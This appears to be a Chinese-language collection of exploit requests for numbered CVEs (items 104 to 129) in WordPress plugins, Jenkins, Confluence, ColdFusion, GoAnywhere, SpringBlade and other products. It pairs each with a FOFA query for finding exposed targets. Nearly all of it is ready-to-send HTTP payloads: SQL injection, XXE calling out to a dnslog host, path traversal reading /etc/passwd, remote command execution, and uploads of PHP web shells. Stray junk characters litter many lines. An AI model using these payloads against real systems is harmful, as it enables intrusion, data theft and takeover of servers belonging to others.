- b; N; v* U* J. MPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
9 T: t# R, d; W3 W  N( l& |Host: 192.168.40.130:111
9 V3 |: T- ?9 N. V  iUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
; D: J2 a+ s2 v6 r9 e: w3 ?Accept-Encoding: gzip
9 P( t$ r( h7 P
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
; q* h$ y5 X" |6 F

6 F' f) H6 K4 A5 g6 t; P  l其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
% c6 b5 A+ Z( y8 ?
! ]/ L) b" r( M2 y8 _. F9 I3 a
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
5 u( S" v; G) z6 X5 VCVE-2024-0569
$ C' m  e& k9 YFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
( d6 l* q: i+ O$ u( J/ p# \$ [! W. uHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
+ Z: t. V1 h6 g/ {1 m& aX-Requested-with: XMLHttpRequest
# _% S. |2 {( J, k( {$ S3 R* @* hUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
1 S+ W/ c$ S5 o2 i$ yOrigin: http://192.168.0.1
2 K- W: J5 s* x, Y  aReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
! K) |4 F6 O  q  dAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
0 X! ^9 l, ]8 ~# w"topicurl":"getSysStatusCfg",
; G% ?2 \) A# D, c$ ["token":""
}

. |1 f$ X7 W# Q2 L6 v& a105. SpringBlade v3.2.0 export-user SQL 注入
4 Y0 e6 P6 Q- U: [# x& ~FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
1 {% j) T! q( B. y) h8 v
+ i" h' k0 n1 w) }" T106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
- m2 G4 X1 j, r+ IHost: your-ip
' P5 E% m0 R! M) kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& X! d( D, R9 L' VBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 y7 i6 [& P/ J. Y* IConnection: close
+ c, @4 }7 E- i! o7 r

  Q, c. k: l' Q107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
4 x0 N/ \$ U- S. p; Q0 PHost: your-ip
' z! z6 L9 ?  _) hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

: l4 F4 L/ f/ w; E2 X
, Z" P+ C4 f6 U3 s) q1 w9 X108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
! }3 }) O2 E$ H; \Accept: application/json, text/plain, */*
# ?# `. u$ T9 m4 k! NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
3 O) L7 w% X2 K2 J  OAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
! F, x) c: C! ^! i' o# bConnection: close

% O% l& [" u( x  r3 q1 f5 J+ Y! Y
109. Jenkins CLI 任意文件读取
CVE-2024-23897
* e' g- x- i( iFOFA：header="X-Jenkins"
% F3 G5 y% I( g5 _3 D6 C3 SPOST /cli?remoting=false HTTP/1.1
Host:
3 n7 a, P  h% ^+ EContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
/ g- c) B( y! o3 a" ]& wSide: upload
Connection: keep-alive
Content-Length: 163
# M) D% D9 _" L2 d7 F! w0 m
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
- t6 U# y- l) _2 u
- L. U5 v2 v+ `9 U7 F
POST /cli?remoting=false HTTP/1.1
! @0 ?3 U: O# e+ o! p2 C  ZHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
( Q2 c* ?1 T4 E/ \download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
8 \& h0 Z! I2 {% i3 ^8 u& t/ F
. D$ h$ Q2 c% q/ N9 V2 E# K+ H
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- M; e. x& x3 I. {) cjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
0 t; U2 J, p9 v+ ~" ~' |4 j# I9 b' _

' q. o! V# Q1 \" m: e, o; Z; h0 b( P1 I110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
, ]$ G0 a9 u) }FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
& o* ^( g) k4 z* |GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
0 {; D1 f5 O9 c% c( m2 iConnection: close
Accept: */*
Accept-Language: en
: w8 c& _2 k* V! ZAccept-Encoding: gzip
7 O- {3 g! B+ Z: Z% D6 O* K- y% ]

$ x- s9 D. s; T4 Y* w111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
9 c: g: T; c+ N- u, ZFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 O8 }  X) h2 J4 V; ~Connection: close
1 f1 _2 b( a3 f2 RAccept: */*
Accept-Language: en
Accept-Encoding: gzip
' O  V' ^* d* W  g( ]

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
# M3 v( y, U! z* G& nHost: {{Hostname}}
Content-Type: application/json
1 }/ \9 [) U3 r& ]
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
0 |# t1 h' n9 p  m
4 y+ }1 V% T( L8 `, Z( V
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
% J4 Y; ]  l7 c% g  OGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
- R; @! q; q1 |# ~( n8 [1 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
0 u" w% g" I4 H1 CConnection: close
4 C8 g* d. m) x( Q& fAccept: */*
3 C; i6 T  c0 _. SAccept-Language: en
) c. @; b; c& J$ RAccept-Encoding: gzip


2 k0 M6 W7 K( t2 X& m114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
. `$ ~, n: L) [- \( dUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
' Q0 l  ?" \# P' wAccept-Encoding: gzip, deflate
Connection: close
4 W$ V% O/ t3 V4 P
$ T; G  O+ ]# ^, _
: d3 J9 n1 d. p+ F, E115. WordPress Bricks Builder <= 1.9.6 RCE
; `0 D0 ~, D; }CVE-2024-25600
4 V: C/ X7 H4 `FOFA: body="/wp-content/themes/bricks/"
& z/ H) o0 {7 l' y第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
* c5 F6 n" j' k+ i* I2 jUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


( k" @6 l/ S+ M4 b: v5 P' W$ Z第二步替换nonce值，执行命令
: w: w6 _2 S. n  \  q$ S: }% NPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
1 Q, z" w- e* @: F4 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
2 m4 l) U4 E+ r% C1 X0 tContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
"postId": "1",
( T) E) @" A/ g7 F; Q' g  "nonce": "第一步获得的值",
" }; m: l* Q6 n0 q- z  "element": {
4 n0 x% P" _6 w, k    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
# M, w- [. L* J1 o. J9 C$ @        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
0 }3 V" @- z1 V/ E    }
  }
( F, |" L8 e% m+ i+ n& R; w& }& J}

7 J0 I6 N, [# J; \9 \
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
+ R7 q; z3 v8 ~5 r/ k  C! l' @Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

* `4 j( X( @* i/ ]----------767099171
. W+ N3 ]. M1 G7 w* g, Z$ E5 KContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
* m2 r/ c: C" \' G3 k) j----------767099171
" z2 X0 i/ F, F3 i7 i: lContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
: Q2 R1 q. A2 q+ Z' Y" a$ \5 @  LContent-Type: image/png
----------767099171--

; f/ Q0 t6 u$ u5 Y+ q) S9 e
117. WordPress LayerSlider插件SQL注入
7 [  S7 @1 N2 j: F. F* dversion：7.9.11 – 7.10.0
( Q( G9 R( d1 d, [- ?( xFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
% ?2 _- {+ _0 o& M$ QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: |0 O0 L# [, t6 r4 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( }$ M# ^1 J" {) B  h3 EAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
0 R+ j9 l6 b; @3 Q6 i8 Y% v2 f. P

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
# q9 F* o: ^, J5 a9 L; xFOFA：title="Smart管理平台"
. B+ G0 K" {' R2 m$ z. |7 [POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
- R8 r" N% E( V. v3 o7 _" O$ jCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 M9 A3 i: p0 Z; \$ R% v- ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ o( F, P' Y0 d; yAccept-Encoding: gzip, deflate
+ k& ?2 ^, h: F0 {8 D5 K3 oContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
/ c; g2 }8 j+ a  n, POrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
# T0 ^9 q5 c4 o2 H+ j) UUpgrade-Insecure-Requests: 1
8 t: `. `; G) qSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
) H& c, J3 n% v3 S+ qSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
2 @: O+ m; g9 v8 r# t( tConnection: close

-----------------------------13979701222747646634037182887
( D8 R0 M. K  C4 x6 i( M9 K  _9 {* rContent-Disposition: form-data; name="file_upload"; filename="contents.php"
% L8 G; X! Q3 |) q* K9 kContent-Type: application/octet-stream
6 R/ s& T) m4 J
& M3 }6 c. g: J9 e3 F# ^<?php
( _0 ]4 {5 A' v- xsystem($_POST["passwd"]);
% Q! c: r0 J! l8 W?>
" S& h4 r, F8 \1 ]-----------------------------13979701222747646634037182887
% B6 ?/ v  [& e, H& MContent-Disposition: form-data; name="txt_path"

) f1 N$ Z* l! k/home/src.php
-----------------------------13979701222747646634037182887--
8 g' \4 p( q& D+ h6 B/ B7 S
; e/ N: `# Z" l+ S% a+ z
访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
7 |1 f+ {/ m2 ?; d& q  m6 cPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
4 M) f  f! y/ c' s: cCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
- x9 |5 ]# _, ^% k3 O4 I1 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 U5 z. G0 j. E% @# O& }Accept-Encoding: gzip, deflate
% x2 u' a# P& y" jContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
2 W) i5 g7 }6 W. y/ b1 ]: T- |: tOrigin: https://58.18.133.60:8443
' B6 M# V' [+ V( O" qReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
9 I+ i+ o  y% t7 o" }0 J+ dSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
5 N% t* V& `  i  o7 \/ CSec-Fetch-Site: same-origin
% F& M3 i3 N* K/ B+ k+ rX-Forwarded-For: 1.1.1.1
' g+ w7 @% ?. _0 f% S0 U. m; vX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
! b' D/ v5 a+ B) L* V. H+ CX-Remote-Addr: 1.1.1.1
( k- N; e8 G* [5 Y/ z: b$ JTe: trailers
Connection: close
* O% P! Y; ?9 C0 J' [* G# P" P" X
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


: {% x3 O$ r) ^+ t0 b  U120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
  D; q; N3 k; r% iHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
* N% q% F& M) ^& o( F1 nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ t9 Q3 a9 g0 ]6 U; wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# k$ I4 S8 N: r8 e. ^# sContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( M) ~! l% Y0 ^9 s. A: cSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
% Z# O5 |4 V0 ^# Y3 e" ETe: trailers
Connection: close

-----------------------------42328904123665875270630079328
1 m) h) T- f- y! A! r! n0 RContent-Disposition: form-data; name="file_upload"; filename="2.php"
) s! f7 t$ L% b9 ^: I- GContent-Type: application/octet-stream

<?php phpinfo()?>
4 _9 g7 _, I/ b" g+ T& x. L+ h-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
$ l- K3 F, r' h5 Z
9 E, M9 n2 k, Y; a/ v( U: p: {1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
5 Y1 B6 ]7 u, P1 b" _
1_radhttp
-----------------------------42328904123665875270630079328
7 m$ a  r' T: P1 C2 nContent-Disposition: form-data; name="mode"
* M/ @9 F9 x! k0 u. l
% ~5 V+ f6 ]' {, ximport
-----------------------------42328904123665875270630079328
( b; T  \6 H5 }0 n) X
5 I% p+ U. }" g) ~: U! E8 E2 |" I" q
( L% p  f0 ^) _, p5 N文件路径/upload/2.php
; {2 f# [. G: N; t
: S% x6 r( }! D! Y121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
% s) B" e% F. b9 U. j& IUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 X# G: J1 @. D  a% E! y' gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& A8 d( x/ B, bAccept-Encoding: gzip, deflate
4 p  v' i  }# l+ _( iContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
* J+ c. t. Z0 f8 pOrigin: https://192.168.40.130:8443
7 N+ C9 i( n% u3 g. t1 SUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
% H9 }# ]6 |& `% F# @: CSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
) ?' z" G* i, I# {0 ?( aConnection: close

-----------------------------42328904123665875270630079328
& y- X8 y: h: g5 I# [+ JContent-Disposition: form-data; name="web_img"; filename="1.php"
" e7 w/ ~3 ?6 P* i6 ]Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
# n3 K: E- H/ F: P" N1 IContent-Disposition: form-data; name="id_type"
% n, _  X8 p' \! I1 j+ B1 @
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
8 o( I3 Y5 O( t( o7 w, U$ q/ hContent-Disposition: form-data; name="hidwel"
6 _. t0 r7 l" o' i- Q/ J6 ^
* Z& R5 z  _4 |. z8 j* Qset
7 T8 _9 T4 y8 Z; B-----------------------------42328904123665875270630079328


* M6 i; R$ \0 v& _7 Vboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
1 Z, g" D5 z  P. t3 {+ [2 ZCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 s# Y% L. @( `: F/ ?4 C" B" dSec-Fetch-Mode: navigate
8 \6 S0 Z0 q& @+ y. @3 g6 |Sec-Fetch-Site: none
Sec-Fetch-User: ?1
; ^% F- ?& \1 A4 b, xTe: trailers
" |5 v1 ^: X+ nConnection: close
& `# F: S, [& m1 M9 D: I

123. Atlassian Confluence 模板注入代码执行
2 f6 W; [, a* cFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
) j  v4 o4 a6 U6 |0 B" iPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
5 u0 D; a2 X& L8 _Accept-Encoding: gzip, deflate, br
5 L7 _2 B4 X0 S" {8 z# y( lAccept: */*
/ z: A  v1 T0 I$ [) uAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
) v* p" ?. @3 T# J: NConnection: close
5 g2 f! n$ W, U  Q7 A- J6 OContent-Type: application/x-www-form-urlencoded

! e' G2 a0 O7 g% }% {label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
, t- H# \( _+ t" O+ hPOST /Scripts/admintool?type=updatefile HTTP/1.1
3 e. f9 A+ @$ Z  z. g0 m1 K5 aHost: 192.168.40.130:8282
; T4 H2 D1 d/ I7 n4 fUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
! a" j  P4 v- A" d/ z/ `Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
1 e# B9 M* R5 v# eAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
2 i1 \# d* s% P) U2 K- o
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
8 h+ B" m# E/ H/ i
% z# d7 V6 \# L
4 n, e' t6 N, r" h, Ahttp://192.168.40.130:8282/Scripts/abcgcg.aspx

) [( l3 C' F; r: s125. ConnectWise ScreenConnect身份验证绕过
8 M, b- B& p+ wCVE-2024-1709
FOFA：icon_hash="-82958153"
4 S* a4 u' h4 g. z# o7 Phttps://github.com/watchtowrlabs ... bypass-add-user-poc
4 A" u% t. \) u" D; {" w. N  F! d

使用方法
% D$ \$ e2 o6 _& mpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
3 ~3 s8 b, U; E' XFOFA：title=="ComfyUI"
# _" o1 Z- T2 l* @. c; V8 E2 w! @GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
* S; S- ^$ T7 h1 X. fAccept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
$ ?! M' {/ \+ X7 v- GPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
) s% R( `# S& l$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 E) K* W" z/ L1 EAccept-Language: zh-CN,zh;q=0.9
  X2 e9 p% G  ?) Z& q! VConnection: close
+ R, D( N! B( X0 o0 w9 X' WContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
0 b9 I- z) c: r8 n& O  `Sec-Purpose: prefetch;prerender

' v7 H- j* |7 @( ?------WebKitFormBoundaryJGgV5l5ta05yAIe0
; n+ _8 W/ z! X! N4 `; m% z/ }* T7 |Content-Disposition: form-data;name="SystemName"
# b8 L+ G, H7 f/ J: w$ e" b2 w
' g, a( J2 Q/ G( GBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
2 x" ^8 G% I; G5 FContent-Disposition: form-data;name="Params"
6 i3 V0 g. h5 V* M. gContent-Type: text/plain
6 l; c7 E# G# l( I. t0 ~. y- g' x
<?xml version="1.0" encoding="UTF-8"?>
2 v" j6 K  E, t! f- ?& t' b( ~7 p<!DOCTYPE test [
/ `: A) u6 f/ Q) Q. q7 [0 ~  k<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
9 v) z* k/ c4 P* Z" u2 H: i<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
" |) y- a+ }( ?* e; P: H3 F; h- m8 z
8 j6 U0 |1 r0 v5 S: K+ L8 g, w

128. Adobe ColdFusion 反序列化
4 R$ P- B9 E* ~8 j1 x; }CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
) p. V3 a/ {  V4 V/ k$ m- {FOFA：app="Adobe-ColdFusion"
. J9 ?* N/ \, n: l+ W" cPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
3 u: c4 A3 {6 V第一步，获取uuid
0 Z, x- Y( ]/ F" UGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
" G$ g! [3 z5 R* F9 _% p- sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
% ^1 ~0 f$ f' X) x- n5 Z

  C4 H  L1 d( z" s  {( D" I第二步，读取/etc/passwd文件
3 |& z; H; p' WGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
3 n- H* C5 I4 n4 G8 nHost: x.x.x.x
